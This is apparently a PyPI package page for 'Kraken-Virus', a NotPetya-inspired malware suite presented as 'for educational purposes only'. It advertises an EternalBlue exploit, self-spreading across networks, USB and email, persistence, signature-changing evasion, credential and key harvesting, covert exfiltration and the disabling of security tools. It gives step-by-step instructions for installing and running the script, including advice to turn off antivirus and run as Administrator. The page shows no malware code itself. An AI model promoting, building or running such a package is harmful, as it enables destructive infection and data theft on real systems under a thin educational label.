Skip to main content

A virus package FOR EDUCATIONAL PURPOSES ONLY

Project description

Kraken-Virus

A sophisticated malware research suite inspired by NotPetya, engineered with enhanced capabilities and superior operational effectiveness for advanced cybersecurity analysis and academic study.

Key Features

🔷 Exploitation & Propagation

  • EternalBlue Exploit (MS17-010): Full implementation of the SMB vulnerability for lateral movement and network-based propagation.
  • Multi-Vector Propagation: Automated spreading mechanisms across networks, removable USB drives, and email communication systems.

🔷 Persistence & Stealth

  • Advanced Persistence Mechanisms: Registry modifications, service installations, scheduled tasks, and boot sector manipulation for sustained execution.
  • Polymorphic Engine: Code that alters its own signature to evade static detection methods.
  • Anti-Detection Techniques: Environmental awareness, sandbox evasion, and debugging resistance.

🔷 Data Collection & Exfiltration

  • Sensitive Data Harvesting: Comprehensive collection of credentials, documents, browser history, and cryptographic keys.
  • Stealthy Exfiltration: Encrypted data transmission using multiple protocols and covert channels.

🔷 Defense Evasion

  • Security Tool Disabling: Identification and termination of antivirus processes, intrusion detection systems, and security services.
  • Bypass Techniques: UAC bypass, AMSI patching, and trust mechanism exploitation.

🔷 TO EXECUTE:

Run a Virtual Machine and disconnect from network or wifi (Mandatory)

you will need to run the code in a Virtual Machine because it can infect your computer by network or wifi

Prerequisites:

  1. Python 3.6+ installed on your system.
    Download: Python Official Website
    ⚠️ Ensure you check "Add Python to PATH" during installation.

  2. Git (optional, for cloning repositories).
    Download: Git Official Website


Step-by-Step Guide:

1. Clone or Download the Script:
  • If the script is in a Git repository, clone it:
    git clone <repository_url>
    cd <repository_directory>
    
  • If you have the kraken.py file directly, place it in a dedicated folder.
2. Install Dependencies:

Open Command Prompt or PowerShell in the script's directory and run:

pip install impacket cryptography pywin32
  • impacket for SMB/NTLM operations.
  • cryptography for encryption (Fernet).
  • pywin32 for Windows API interactions (win32api, win32security, etc.).
3. Run the Script:

Execute the script with Python:

python kraken.py

⚠️ Notes:

  • Antivirus Warnings: Some security tools may flag parts of the script (e.g., use of pywin32 or impacket). Temporarily disable AV if needed (use at your own risk).
  • Admin Privileges: The script may require elevated permissions to access Windows registry or system files. Run PowerShell/CMD as Administrator.
  • Network Operations: Ensure firewalls allow SMB/HTTP traffic if the script interacts with networks.

🔧 Troubleshooting:

  • Module Not Found Error: Reinstall missing modules with pip install <module_name>.
  • Python Path Issues: Ensure Python is in your system PATH. Verify with:
    python --version
    
  • Windows Dependencies: For pywin32, if errors persist, use the official .exe installer: pywin32 releases.

📦 Manual Dependency Installation (if pip fails):

  1. Impacket:
    git clone https://github.com/SecureAuthCorp/impacket.git
    cd impacket
    pip install .
    
  2. PyWin32:
    Download the compatible .whl file from here, then install via:
    pip install <downloaded_whl_file>
    

🚀 Execution:

After dependencies are installed, run:

python kraken.py

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

kraken123-0.4.0.tar.gz (44.6 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

kraken123-0.4.0-py3-none-any.whl (42.2 kB view details)

Uploaded Python 3

File details

Details for the file kraken123-0.4.0.tar.gz.

File metadata

  • Download URL: kraken123-0.4.0.tar.gz
  • Upload date:
  • Size: 44.6 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.12.9

File hashes

Hashes for kraken123-0.4.0.tar.gz
Algorithm Hash digest
SHA256 1038eae2c5f4a13c07b4b7d5dfc37457a8c20a3190b90ed6dffdbdf09b50857b
MD5 66a0635bfdb2b6ddea17e446f034fd9a
BLAKE2b-256 8ede4a4b98937a42b9b1fa2af777dfb6c0976a51f919e399439cac1487d6d0d3

See more details on using hashes here.

Provenance

The following attestation bundles were made for kraken123-0.4.0.tar.gz:

Publisher: python-publish.yml on bluecodeyt12-maker/Kraken-Virus

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file kraken123-0.4.0-py3-none-any.whl.

File metadata

  • Download URL: kraken123-0.4.0-py3-none-any.whl
  • Upload date:
  • Size: 42.2 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.12.9

File hashes

Hashes for kraken123-0.4.0-py3-none-any.whl
Algorithm Hash digest
SHA256 ec059c5e3fbbdb4c80f4f54595ae94d09af901e62c7044a08019cdd09da82f7e
MD5 3fbf2b9690c2b10336d321b964d1754b
BLAKE2b-256 fd95bca6a6bd6b3de216d98d685fa4dc64650285bf1fdf96ff63a9d0159a48c4

See more details on using hashes here.

Provenance

The following attestation bundles were made for kraken123-0.4.0-py3-none-any.whl:

Publisher: python-publish.yml on bluecodeyt12-maker/Kraken-Virus

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page